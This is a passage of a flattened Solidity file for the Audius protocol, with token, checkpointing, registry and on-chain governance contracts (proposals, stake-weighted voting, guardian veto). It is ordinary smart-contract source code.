}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity ^0.5.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is Initializable, Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
/**
* @dev See {ERC20-_burnFrom}.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
uint256[50] private ______gap;
}
// File: @aragon/court/contracts/lib/Checkpointing.sol
pragma solidity ^0.5.8;
/**
* @title Checkpointing - Library to handle a historic set of numeric values
*/
library Checkpointing {
uint256 private constant MAX_UINT192 = uint256(uint192(-1));
string private constant ERROR_VALUE_TOO_BIG = "CHECKPOINT_VALUE_TOO_BIG";
string private constant ERROR_CANNOT_ADD_PAST_VALUE = "CHECKPOINT_CANNOT_ADD_PAST_VALUE";
/**
* @dev To specify a value at a given point in time, we need to store two values:
* - `time`: unit-time value to denote the first time when a value was registered
* - `value`: a positive numeric value to registered at a given point in time
*
* Note that `time` does not need to refer necessarily to a timestamp value, any time unit could be used
* for it like block numbers, terms, etc.
*/
struct Checkpoint {
uint64 time;
uint192 value;
}
/**
* @dev A history simply denotes a list of checkpoints
*/
struct History {
Checkpoint[] history;
}
/**
* @dev Add a new value to a history for a given point in time. This function does not allow to add values previous
* to the latest registered value, if the value willing to add corresponds to the latest registered value, it
* will be updated.
* @param self Checkpoints history to be altered
* @param _time Point in time to register the given value
* @param _value Numeric value to be registered at the given point in time
*/
function add(History storage self, uint64 _time, uint256 _value) internal {
require(_value <= MAX_UINT192, ERROR_VALUE_TOO_BIG);
_add192(self, _time, uint192(_value));
}
/**
* @dev Fetch the latest registered value of history, it will return zero if there was no value registered
* @param self Checkpoints history to be queried
*/
function getLast(History storage self) internal view returns (uint256) {
uint256 length = self.history.length;
if (length > 0) {
return uint256(self.history[length - 1].value);
}
return 0;
}
/**
* @dev Fetch the most recent registered past value of a history based on a given point in time that is not known
* how recent it is beforehand. It will return zero if there is no registered value or if given time is
* previous to the first registered value.
* It uses a binary search.
* @param self Checkpoints history to be queried
* @param _time Point in time to query the most recent registered past value of
*/
function get(History storage self, uint64 _time) internal view returns (uint256) {
return _binarySearch(self, _time);
}
/**
* @dev Fetch the most recent registered past value of a history based on a given point in time. It will return zero
* if there is no registered value or if given time is previous to the first registered value.
* It uses a linear search starting from the end.
* @param self Checkpoints history to be queried
* @param _time Point in time to query the most recent registered past value of
*/
function getRecent(History storage self, uint64 _time) internal view returns (uint256) {
return _backwardsLinearSearch(self, _time);
}
/**
* @dev Private function to add a new value to a history for a given point in time. This function does not allow to
* add values previous to the latest registered value, if the value willing to add corresponds to the latest
* registered value, it will be updated.
* @param self Checkpoints history to be altered
* @param _time Point in time to register the given value
* @param _value Numeric value to be registered at the given point in time
*/
function _add192(History storage self, uint64 _time, uint192 _value) private {
uint256 length = self.history.length;
if (length == 0 || self.history[self.history.length - 1].time < _time) {
// If there was no value registered or the given point in time is after the latest registered value,
// we can insert it to the history directly.
self.history.push(Checkpoint(_time, _value));
} else {
// If the point in time given for the new value is not after the latest registered value, we must ensure
// we are only trying to update the latest value, otherwise we would be changing past data.
Checkpoint storage currentCheckpoint = self.history[length - 1];
require(_time == currentCheckpoint.time, ERROR_CANNOT_ADD_PAST_VALUE);
currentCheckpoint.value = _value;
}
}
/**
* @dev Private function to execute a backwards linear search to find the most recent registered past value of a
* history based on a given point in time. It will return zero if there is no registered value or if given time
* is previous to the first registered value. Note that this function will be more suitable when we already know
* that the time used to index the search is recent in the given history.
* @param self Checkpoints history to be queried
* @param _time Point in time to query the most recent registered past value of
*/
function _backwardsLinearSearch(History storage self, uint64 _time) private view returns (uint256) {
// If there was no value registered for the given history return simply zero
uint256 length = self.history.length;
if (length == 0) {
return 0;
}
uint256 index = length - 1;
Checkpoint storage checkpoint = self.history[index];
while (index > 0 && checkpoint.time > _time) {
index--;
checkpoint = self.history[index];
}
return checkpoint.time > _time ? 0 : uint256(checkpoint.value);
}
/**
* @dev Private function execute a binary search to find the most recent registered past value of a history based on
* a given point in time. It will return zero if there is no registered value or if given time is previous to
* the first registered value. Note that this function will be more suitable when don't know how recent the
* time used to index may be.
* @param self Checkpoints history to be queried
* @param _time Point in time to query the most recent registered past value of
*/
function _binarySearch(History storage self, uint64 _time) private view returns (uint256) {
// If there was no value registered for the given history return simply zero
uint256 length = self.history.length;
if (length == 0) {
return 0;
}
// If the requested time is equal to or after the time of the latest registered value, return latest value
uint256 lastIndex = length - 1;
if (_time >= self.history[lastIndex].time) {
return uint256(self.history[lastIndex].value);
}
// If the requested time is previous to the first registered value, return zero to denote missing checkpoint
if (_time < self.history[0].time) {
return 0;
}
// Execute a binary search between the checkpointed times of the history
uint256 low = 0;
uint256 high = lastIndex;
while (high > low) {
// No need for SafeMath: for this to overflow array size should be ~2^255
uint256 mid = (high + low + 1) / 2;
Checkpoint storage checkpoint = self.history[mid];
uint64 midTime = checkpoint.time;
if (_time > midTime) {
low = mid;
} else if (_time < midTime) {
// No need for SafeMath: high > low >= 0 => high >= 1 => mid >= 1
high = mid - 1;
} else {
return uint256(checkpoint.value);
}
}
return uint256(self.history[low].value);
}
}
// File: @aragon/court/contracts/lib/os/Uint256Helpers.sol
// Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/Uint256Helpers.sol
// Adapted to use pragma ^0.5.8 and satisfy our linter rules
pragma solidity ^0.5.8;
library Uint256Helpers {
uint256 private constant MAX_UINT8 = uint8(-1);
uint256 private constant MAX_UINT64 = uint64(-1);
string private constant ERROR_UINT8_NUMBER_TOO_BIG = "UINT8_NUMBER_TOO_BIG";
string private constant ERROR_UINT64_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG";
function toUint8(uint256 a) internal pure returns (uint8) {
require(a <= MAX_UINT8, ERROR_UINT8_NUMBER_TOO_BIG);
return uint8(a);
}
function toUint64(uint256 a) internal pure returns (uint64) {
require(a <= MAX_UINT64, ERROR_UINT64_NUMBER_TOO_BIG);
return uint64(a);
}
}
// File: contracts/InitializableV2.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* Wrapper around OpenZeppelin's Initializable contract.
* Exposes initialized state management to ensure logic contract functions cannot be called before initialization.
* This is needed because OZ's Initializable contract no longer exposes initialized state variable.
* https://github.com/OpenZeppelin/openzeppelin-sdk/blob/v2.8.0/packages/lib/contracts/Initializable.sol
*/
contract InitializableV2 is Initializable {
bool private isInitialized;
string private constant ERROR_NOT_INITIALIZED = "InitializableV2: Not initialized";
/**
* @notice wrapper function around parent contract Initializable's `initializable` modifier
* initializable modifier ensures this function can only be called once by each deployed child contract
* sets isInitialized flag to true to which is used by _requireIsInitialized()
*/
function initialize() public initializer {
isInitialized = true;
}
/**
* @notice Reverts transaction if isInitialized is false. Used by child contracts to ensure
* contract is initialized before functions can be called.
*/
function _requireIsInitialized() internal view {
require(isInitialized == true, ERROR_NOT_INITIALIZED);
}
/**
* @notice Exposes isInitialized bool var to child contracts with read-only access
*/
function _isInitialized() internal view returns (bool) {
return isInitialized;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
// File: contracts/registry/Registry.sol
pragma solidity ^0.5.0;
/**
* @title Central hub for Audius protocol. It stores all contract addresses to facilitate
* external access and enable version management.
*/
contract Registry is InitializableV2, Ownable {
using SafeMath for uint256;
/**
* @dev addressStorage mapping allows efficient lookup of current contract version
* addressStorageHistory maintains record of all contract versions
*/
mapping(bytes32 => address) private addressStorage;
mapping(bytes32 => address[]) private addressStorageHistory;
event ContractAdded(
bytes32 indexed _name,
address indexed _address
);
event ContractRemoved(
bytes32 indexed _name,
address indexed _address
);
event ContractUpgraded(
bytes32 indexed _name,
address indexed _oldAddress,
address indexed _newAddress
);
function initialize() public initializer {
/// @notice Ownable.initialize(address _sender) sets contract owner to _sender.
Ownable.initialize(msg.sender);
InitializableV2.initialize();
}
// ========================================= Setters =========================================
/**
* @notice addContract registers contract name to address mapping under given registry key
* @param _name - registry key that will be used for lookups
* @param _address - address of contract
*/
function addContract(bytes32 _name, address _address) external onlyOwner {
_requireIsInitialized();
require(
addressStorage[_name] == address(0x00),
"Registry: Contract already registered with given name."
);
require(
_address != address(0x00),
"Registry: Cannot register zero address."
);
setAddress(_name, _address);
emit ContractAdded(_name, _address);
}
/**
* @notice removes contract address registered under given registry key
* @param _name - registry key for lookup
*/
function removeContract(bytes32 _name) external onlyOwner {
_requireIsInitialized();
address contractAddress = addressStorage[_name];
require(
contractAddress != address(0x00),
"Registry: Cannot remove - no contract registered with given _name."
);
setAddress(_name, address(0x00));
emit ContractRemoved(_name, contractAddress);
}
/**
* @notice replaces contract address registered under given key with provided address
* @param _name - registry key for lookup
* @param _newAddress - new contract address to register under given key
*/
function upgradeContract(bytes32 _name, address _newAddress) external onlyOwner {
_requireIsInitialized();
address oldAddress = addressStorage[_name];
require(
oldAddress != address(0x00),
"Registry: Cannot upgrade - no contract registered with given _name."
);
require(
_newAddress != address(0x00),
"Registry: Cannot upgrade - cannot register zero address."
);
setAddress(_name, _newAddress);
emit ContractUpgraded(_name, oldAddress, _newAddress);
}
// ========================================= Getters =========================================
/**
* @notice returns contract address registered under given registry key
* @param _name - registry key for lookup
* @return contractAddr - address of contract registered under given registry key
*/
function getContract(bytes32 _name) external view returns (address contractAddr) {
_requireIsInitialized();
return addressStorage[_name];
}
/// @notice overloaded getContract to return explicit version of contract
function getContract(bytes32 _name, uint256 _version) external view
returns (address contractAddr)
{
_requireIsInitialized();
// array length for key implies version number
require(
_version <= addressStorageHistory[_name].length,
"Registry: Index out of range _version."
);
return addressStorageHistory[_name][_version.sub(1)];
}
/**
* @notice Returns the number of versions for a contract key
* @param _name - registry key for lookup
* @return number of contract versions
*/
function getContractVersionCount(bytes32 _name) external view returns (uint256) {
_requireIsInitialized();
return addressStorageHistory[_name].length;
}
// ========================================= Private functions =========================================
/**
* @param _key the key for the contract address
* @param _value the contract address
*/
function setAddress(bytes32 _key, address _value) private {
// main map for cheap lookup
addressStorage[_key] = _value;
// keep track of contract address history
addressStorageHistory[_key].push(_value);
}
}
// File: contracts/Governance.sol
pragma solidity ^0.5.0;
contract Governance is InitializableV2 {
using SafeMath for uint256;
string private constant ERROR_ONLY_GOVERNANCE = (
"Governance: Only callable by self"
);
string private constant ERROR_INVALID_VOTING_PERIOD = (
"Governance: Requires non-zero _votingPeriod"
);
string private constant ERROR_INVALID_REGISTRY = (
"Governance: Requires non-zero _registryAddress"
);
string private constant ERROR_INVALID_VOTING_QUORUM = (
"Governance: Requires _votingQuorumPercent between 1 & 100"
);
/**
* @notice Address and contract instance of Audius Registry. Used to ensure this contract
* can only govern contracts that are registered in the Audius Registry.
*/
Registry private registry;
/// @notice Address of Audius staking contract, used to permission Governance method calls
address private stakingAddress;
/// @notice Address of Audius ServiceProvider contract, used to permission Governance method calls
address private serviceProviderFactoryAddress;
/// @notice Address of Audius DelegateManager contract, used to permission Governance method calls
address private delegateManagerAddress;
/// @notice Period in blocks for which a governance proposal is open for voting
uint256 private votingPeriod;
/// @notice Number of blocks that must pass after votingPeriod has expired before proposal can be evaluated/executed
uint256 private executionDelay;
/// @notice Required minimum percentage of total stake to have voted to consider a proposal valid
/// Percentaged stored as a uint256 between 0 & 100
/// Calculated as: 100 * sum of voter stakes / total staked in Staking (at proposal submission block)
uint256 private votingQuorumPercent;
/// @notice Max number of InProgress proposals possible at once
/// @dev uint16 gives max possible value of 65,535
uint16 private maxInProgressProposals;
/**
* @notice Address of account that has special Governance permissions. Can veto proposals
* and execute transactions directly on contracts.
*/
address private guardianAddress;
/***** Enums *****/
/**
* @notice All Proposal Outcome states.
* InProgress - Proposal is active and can be voted on.
* Rejected - Proposal votingPeriod has closed and vote failed to pass. Proposal will not be executed.
* ApprovedExecuted - Proposal votingPeriod has closed and vote passed. Proposal was successfully executed.
* QuorumNotMet - Proposal votingPeriod has closed and votingQuorumPercent was not met. Proposal will not be executed.
* ApprovedExecutionFailed - Proposal vote passed, but transaction execution failed.
* Evaluating - Proposal vote passed, and evaluateProposalOutcome function is currently running.
* This status is transiently used inside that function to prevent re-entrancy.
* Vetoed - Proposal was vetoed by Guardian.
* TargetContractAddressChanged - Proposal considered invalid since target contract address changed
* TargetContractCodeHashChanged - Proposal considered invalid since code has at target contract address has changed
*/
enum Outcome {
InProgress,
Rejected,
ApprovedExecuted,
QuorumNotMet,
ApprovedExecutionFailed,
Evaluating,
Vetoed,
TargetContractAddressChanged,
TargetContractCodeHashChanged
}
/**
* @notice All Proposal Vote states for a voter.
* None - The default state, for any account that has not previously voted on this Proposal.
* No - The account voted No on this Proposal.
* Yes - The account voted Yes on this Proposal.
* @dev Enum values map to uints, so first value in Enum always is 0.
*/
enum Vote {None, No, Yes}
struct Proposal {
uint256 proposalId;
address proposer;
uint256 submissionBlockNumber;
bytes32 targetContractRegistryKey;
address targetContractAddress;
uint256 callValue;
string functionSignature;
bytes callData;
Outcome outcome;
uint256 voteMagnitudeYes;
uint256 voteMagnitudeNo;
uint256 numVotes;
mapping(address => Vote) votes;
mapping(address => uint256) voteMagnitudes;
bytes32 contractHash;
}
/***** Proposal storage *****/
/// @notice ID of most recently created proposal. Ids are monotonically increasing and 1-indexed.
uint256 lastProposalId = 0;
/// @notice mapping of proposalId to Proposal struct with all proposal state
mapping(uint256 => Proposal) proposals;
/// @notice array of proposals with InProgress state
uint256[] inProgressProposals;
/***** Events *****/
event ProposalSubmitted(
uint256 indexed _proposalId,
address indexed _proposer,
string _name,
string _description
);
event ProposalVoteSubmitted(
uint256 indexed _proposalId,
address indexed _voter,
Vote indexed _vote,
uint256 _voterStake
);
event ProposalVoteUpdated(
uint256 indexed _proposalId,
address indexed _voter,
Vote indexed _vote,
uint256 _voterStake,
Vote _previousVote
);
event ProposalOutcomeEvaluated(
uint256 indexed _proposalId,
Outcome indexed _outcome,
uint256 _voteMagnitudeYes,
uint256 _voteMagnitudeNo,
uint256 _numVotes
);
event ProposalTransactionExecuted(
uint256 indexed _proposalId,
bool indexed _success,
bytes _returnData
);
event GuardianTransactionExecuted(
address indexed _targetContractAddress,
uint256 _callValue,
string indexed _functionSignature,
bytes indexed _callData,
bytes _returnData
);
event ProposalVetoed(uint256 indexed _proposalId);
event RegistryAddressUpdated(address indexed _newRegistryAddress);
event GuardianshipTransferred(address indexed _newGuardianAddress);
event VotingPeriodUpdated(uint256 indexed _newVotingPeriod);
event ExecutionDelayUpdated(uint256 indexed _newExecutionDelay);
event VotingQuorumPercentUpdated(uint256 indexed _newVotingQuorumPercent);
event MaxInProgressProposalsUpdated(uint256 indexed _newMaxInProgressProposals);
/**
* @notice Initialize the Governance contract
* @dev _votingPeriod <= DelegateManager.undelegateLockupDuration
* @dev stakingAddress must be initialized separately after Staking contract is deployed
* @param _registryAddress - address of the registry proxy contract
* @param _votingPeriod - period in blocks for which a governance proposal is open for voting
* @param _executionDelay - number of blocks that must pass after votingPeriod has expired before proposal can be evaluated/executed
* @param _votingQuorumPercent - required minimum percentage of total stake to have voted to consider a proposal valid
* @param _maxInProgressProposals - max number of InProgress proposals possible at once
* @param _guardianAddress - address of account that has special Governance permissions
*/
function initialize(
address _registryAddress,
uint256 _votingPeriod,
uint256 _executionDelay,
uint256 _votingQuorumPercent,
uint16 _maxInProgressProposals,
address _guardianAddress
) public initializer {
require(_registryAddress != address(0x00), ERROR_INVALID_REGISTRY);
registry = Registry(_registryAddress);
require(_votingPeriod > 0, ERROR_INVALID_VOTING_PERIOD);
votingPeriod = _votingPeriod;
// executionDelay does not have to be non-zero
executionDelay = _executionDelay;
require(
_maxInProgressProposals > 0,
"Governance: Requires non-zero _maxInProgressProposals"
);
maxInProgressProposals = _maxInProgressProposals;
require(
_votingQuorumPercent > 0 && _votingQuorumPercent <= 100,
ERROR_INVALID_VOTING_QUORUM
);
votingQuorumPercent = _votingQuorumPercent;
require(
_guardianAddress != address(0x00),
"Governance: Requires non-zero _guardianAddress"
);
guardianAddress = _guardianAddress; //Guardian address becomes the only party
InitializableV2.initialize();
}
// ========================================= Governance Actions =========================================
/**
* @notice Submit a proposal for vote. Only callable by addresses with non-zero total active stake.
* total active stake = total active deployer stake + total active delegator stake
*
* @dev _name and _description length is not enforced since they aren't stored on-chain and only event emitted
*
* @param _targetContractRegistryKey - Registry key for the contract concerning this proposal
* @param _callValue - amount of wei to pass with function call if a token transfer is involved
* @param _functionSignature - function signature of the function to be executed if proposal is successful
* @param _callData - encoded value(s) to call function with if proposal is successful
* @param _name - Text name of proposal to be emitted in event
* @param _description - Text description of proposal to be emitted in event
*
* @return - ID of new proposal
*/
function submitProposal(
bytes32 _targetContractRegistryKey,
uint256 _callValue,
string calldata _functionSignature,
bytes calldata _callData,
string calldata _name,
string calldata _description
) external returns (uint256)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireDelegateManagerAddressIsSet();
address proposer = msg.sender;
// Require all InProgress proposals that can be evaluated have been evaluated before new proposal submission
require(
this.inProgressProposalsAreUpToDate(),
"Governance: Cannot submit new proposal until all evaluatable InProgress proposals are evaluated."
);
// Require new proposal submission would not push number of InProgress proposals over max number
require(
inProgressProposals.length < maxInProgressProposals,
"Governance: Number of InProgress proposals already at max. Please evaluate if possible, or wait for current proposals' votingPeriods to expire."
);
// Require proposer has non-zero total active stake or is guardian address
require(
_calculateAddressActiveStake(proposer) > 0 || proposer == guardianAddress,
"Governance: Proposer must be address with non-zero total active stake or be guardianAddress."
);
// Require _targetContractRegistryKey points to a valid registered contract
address targetContractAddress = registry.getContract(_targetContractRegistryKey);
require(
targetContractAddress != address(0x00),
"Governance: _targetContractRegistryKey must point to valid registered contract"
);
// Signature cannot be empty
require(
bytes(_functionSignature).length != 0,
"Governance: _functionSignature cannot be empty."
);
// Require non-zero description length
require(bytes(_description).length > 0, "Governance: _description length must be > 0");
// Require non-zero name length
require(bytes(_name).length > 0, "Governance: _name length must be > 0");
// set proposalId
uint256 newProposalId = lastProposalId.add(1);
// Store new Proposal obj in proposals mapping
proposals[newProposalId] = Proposal({
proposalId: newProposalId,
proposer: proposer,
submissionBlockNumber: block.number,
targetContractRegistryKey: _targetContractRegistryKey,
targetContractAddress: targetContractAddress,
callValue: _callValue,
functionSignature: _functionSignature,
callData: _callData,
outcome: Outcome.InProgress,
voteMagnitudeYes: 0,
voteMagnitudeNo: 0,
numVotes: 0,
contractHash: _getCodeHash(targetContractAddress)
/* votes: mappings are auto-initialized to default state */
/* voteMagnitudes: mappings are auto-initialized to default state */
});
// Append new proposalId to inProgressProposals array
inProgressProposals.push(newProposalId);
emit ProposalSubmitted(
newProposalId,
proposer,
_name,
_description
);
lastProposalId = newProposalId;
return newProposalId;
}
/**
* @notice Vote on an active Proposal. Only callable by addresses with non-zero active stake.
* @param _proposalId - id of the proposal this vote is for
* @param _vote - can be either {Yes, No} from Vote enum. No other values allowed
*/
function submitVote(uint256 _proposalId, Vote _vote) external {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireDelegateManagerAddressIsSet();
_requireValidProposalId(_proposalId);
address voter = msg.sender;
// Require proposal votingPeriod is still active
uint256 submissionBlockNumber = proposals[_proposalId].submissionBlockNumber;
uint256 endBlockNumber = submissionBlockNumber.add(votingPeriod);
require(
block.number > submissionBlockNumber && block.number <= endBlockNumber,
"Governance: Proposal votingPeriod has ended"
);
// Require voter has non-zero total active stake
uint256 voterActiveStake = _calculateAddressActiveStake(voter);
require(
voterActiveStake > 0,
"Governance: Voter must be address with non-zero total active stake."
);
// Require previous vote is None
require(
proposals[_proposalId].votes[voter] == Vote.None,
"Governance: To update previous vote, call updateVote()"
);
// Require vote is either Yes or No
require(
_vote == Vote.Yes || _vote == Vote.No,
"Governance: Can only submit a Yes or No vote"
);
// Record vote
proposals[_proposalId].votes[voter] = _vote;
// Record voteMagnitude for voter
proposals[_proposalId].voteMagnitudes[voter] = voterActiveStake;
// Update proposal cumulative vote magnitudes
if (_vote == Vote.Yes) {
_increaseVoteMagnitudeYes(_proposalId, voterActiveStake);
} else {
_increaseVoteMagnitudeNo(_proposalId, voterActiveStake);
}
// Increment proposal numVotes
proposals[_proposalId].numVotes = proposals[_proposalId].numVotes.add(1);
emit ProposalVoteSubmitted(
_proposalId,
voter,
_vote,
voterActiveStake
);
}
/**
* @notice Update previous vote on an active Proposal. Only callable by addresses with non-zero active stake.
* @param _proposalId - id of the proposal this vote is for
* @param _vote - can be either {Yes, No} from Vote enum. No other values allowed
*/
function updateVote(uint256 _proposalId, Vote _vote) external {
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireDelegateManagerAddressIsSet();
_requireValidProposalId(_proposalId);
address voter = msg.sender;
// Require proposal votingPeriod is still active
uint256 submissionBlockNumber = proposals[_proposalId].submissionBlockNumber;
uint256 endBlockNumber = submissionBlockNumber.add(votingPeriod);
require(
block.number > submissionBlockNumber && block.number <= endBlockNumber,
"Governance: Proposal votingPeriod has ended"
);
// Retrieve previous vote
Vote previousVote = proposals[_proposalId].votes[voter];
// Require previous vote is not None
require(
previousVote != Vote.None,
"Governance: To submit new vote, call submitVote()"
);
// Require vote is either Yes or No
require(
_vote == Vote.Yes || _vote == Vote.No,
"Governance: Can only submit a Yes or No vote"
);
// Record updated vote
proposals[_proposalId].votes[voter] = _vote;
// Update vote magnitudes, using vote magnitude from when previous vote was submitted
uint256 voteMagnitude = proposals[_proposalId].voteMagnitudes[voter];
if (previousVote == Vote.Yes && _vote == Vote.No) {
_decreaseVoteMagnitudeYes(_proposalId, voteMagnitude);
_increaseVoteMagnitudeNo(_proposalId, voteMagnitude);
} else if (previousVote == Vote.No && _vote == Vote.Yes) {
_decreaseVoteMagnitudeNo(_proposalId, voteMagnitude);
_increaseVoteMagnitudeYes(_proposalId, voteMagnitude);
}
// If _vote == previousVote, no changes needed to vote magnitudes.
// Do not update numVotes
emit ProposalVoteUpdated(
_proposalId,
voter,
_vote,
voteMagnitude,
previousVote
);
}
/**
* @notice Once the voting period + executionDelay for a proposal has ended, evaluate the outcome and
* execute the proposal if voting quorum met & vote passes.
* To pass, stake-weighted vote must be > 50% Yes.
* @dev Requires that caller is an active staker at the time the proposal is created
* @param _proposalId - id of the proposal
* @return Outcome of proposal evaluation
*/
function evaluateProposalOutcome(uint256 _proposalId)
external returns (Outcome)
{
_requireIsInitialized();
_requireStakingAddressIsSet();
_requireServiceProviderFactoryAddressIsSet();
_requireDelegateManagerAddressIsSet();
_requireValidProposalId(_proposalId);
// Require proposal has not already been evaluated.
require(
proposals[_proposalId].outcome == Outcome.InProgress,
"Governance: Can only evaluate InProgress proposal."
);
// Re-entrancy should not be possible here since this switches the status of the
// proposal to 'Evaluating' so it should fail the status is 'InProgress' check
proposals[_proposalId].outcome = Outcome.Evaluating;
// Require proposal votingPeriod + executionDelay have ended.
uint256 submissionBlockNumber = proposals[_proposalId].submissionBlockNumber;
uint256 endBlockNumber = submissionBlockNumber.add(votingPeriod).add(executionDelay);
require(
block.number > endBlockNumber,
"Governance: Proposal votingPeriod & executionDelay must end before evaluation."
);
address targetContractAddress = registry.getContract(
proposals[_proposalId].targetContractRegistryKey
);
Outcome outcome;
// target contract address changed -> close proposal without execution.
if (targetContractAddress != proposals[_proposalId].targetContractAddress) {
outcome = Outcome.TargetContractAddressChanged;
}
// target contract code hash changed -> close proposal without execution.
else if (_getCodeHash(targetContractAddress) != proposals[_proposalId].contractHash) {
outcome = Outcome.TargetContractCodeHashChanged;
}
// voting quorum not met -> close proposal without execution.
else if (_quorumMet(proposals[_proposalId], Staking(stakingAddress)) == false) {
outcome = Outcome.QuorumNotMet;
}
// votingQuorumPercent met & vote passed -> execute proposed transaction & close proposal.
else if (
proposals[_proposalId].voteMagnitudeYes > proposals[_proposalId].voteMagnitudeNo
) {
(bool success, bytes memory returnData) = _executeTransaction(
targetContractAddress,
proposals[_proposalId].callValue,
proposals[_proposalId].functionSignature,
proposals[_proposalId].callData
);
emit ProposalTransactionExecuted(
_proposalId,
success,
returnData
);
// Proposal outcome depends on success of transaction execution.
if (success) {
outcome = Outcome.ApprovedExecuted;
} else {
outcome = Outcome.ApprovedExecutionFailed;
}
}
// votingQuorumPercent met & vote did not pass -> close proposal without transaction execution.
else {
outcome = Outcome.Rejected;
}
// This records the final outcome in the proposals mapping
proposals[_proposalId].outcome = outcome;
// Remove from inProgressProposals array
_removeFromInProgressProposals(_proposalId);
emit ProposalOutcomeEvaluated(
_proposalId,
outcome,
proposals[_proposalId].voteMagnitudeYes,
proposals[_proposalId].voteMagnitudeNo,
proposals[_proposalId].numVotes
);
return outcome;
}
/**
* @notice Action limited to the guardian address that can veto a proposal
* @param _proposalId - id of the proposal
*/
function vetoProposal(uint256 _proposalId) external {
_requireIsInitialized();
_requireValidProposalId(_proposalId);
require(
msg.sender == guardianAddress,
"Governance: Only guardian can veto proposals."
);
require(
proposals[_proposalId].outcome == Outcome.InProgress,
"Governance: Cannot veto inactive proposal."
);
proposals[_proposalId].outcome = Outcome.Vetoed;
// Remove from inProgressProposals array
_removeFromInProgressProposals(_proposalId);
emit ProposalVetoed(_proposalId);
}
// ========================================= Config Setters =========================================
/**
* @notice Set the Staking address
* @dev Only callable by self via _executeTransaction
* @param _stakingAddress - address for new Staking contract
*/
function setStakingAddress(address _stakingAddress) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(_stakingAddress != address(0x00), "Governance: Requires non-zero _stakingAddress");
stakingAddress = _stakingAddress;
}
/**
* @notice Set the ServiceProviderFactory address
* @dev Only callable by self via _executeTransaction
* @param _serviceProviderFactoryAddress - address for new ServiceProviderFactory contract
*/
function setServiceProviderFactoryAddress(address _serviceProviderFactoryAddress) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(
_serviceProviderFactoryAddress != address(0x00),
"Governance: Requires non-zero _serviceProviderFactoryAddress"
);
serviceProviderFactoryAddress = _serviceProviderFactoryAddress;
}
/**
* @notice Set the DelegateManager address
* @dev Only callable by self via _executeTransaction
* @param _delegateManagerAddress - address for new DelegateManager contract
*/
function setDelegateManagerAddress(address _delegateManagerAddress) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(
_delegateManagerAddress != address(0x00),
"Governance: Requires non-zero _delegateManagerAddress"
);
delegateManagerAddress = _delegateManagerAddress;
}
/**
* @notice Set the voting period for a Governance proposal
* @dev Only callable by self via _executeTransaction
* @param _votingPeriod - new voting period
*/
function setVotingPeriod(uint256 _votingPeriod) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(_votingPeriod > 0, ERROR_INVALID_VOTING_PERIOD);
votingPeriod = _votingPeriod;
emit VotingPeriodUpdated(_votingPeriod);
}
/**
* @notice Set the voting quorum percentage for a Governance proposal
* @dev Only callable by self via _executeTransaction
* @param _votingQuorumPercent - new voting period
*/
function setVotingQuorumPercent(uint256 _votingQuorumPercent) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(
_votingQuorumPercent > 0 && _votingQuorumPercent <= 100,
ERROR_INVALID_VOTING_QUORUM
);
votingQuorumPercent = _votingQuorumPercent;
emit VotingQuorumPercentUpdated(_votingQuorumPercent);
}
/**
* @notice Set the Registry address
* @dev Only callable by self via _executeTransaction
* @param _registryAddress - address for new Registry contract
*/
function setRegistryAddress(address _registryAddress) external {
_requireIsInitialized();
require(msg.sender == address(this), ERROR_ONLY_GOVERNANCE);
require(_registryAddress != address(0x00), ERROR_INVALID_REGISTRY);
registry = Registry(_registryAddress);
emit RegistryAddressUpdated(_registryAddress);
}
/**
* @notice Set the max number of concurrent InProgress proposals
* @dev Only callable by self via _executeTransaction
* @param _newMaxInProgressProposals - new value for maxInProgressProposals
*/
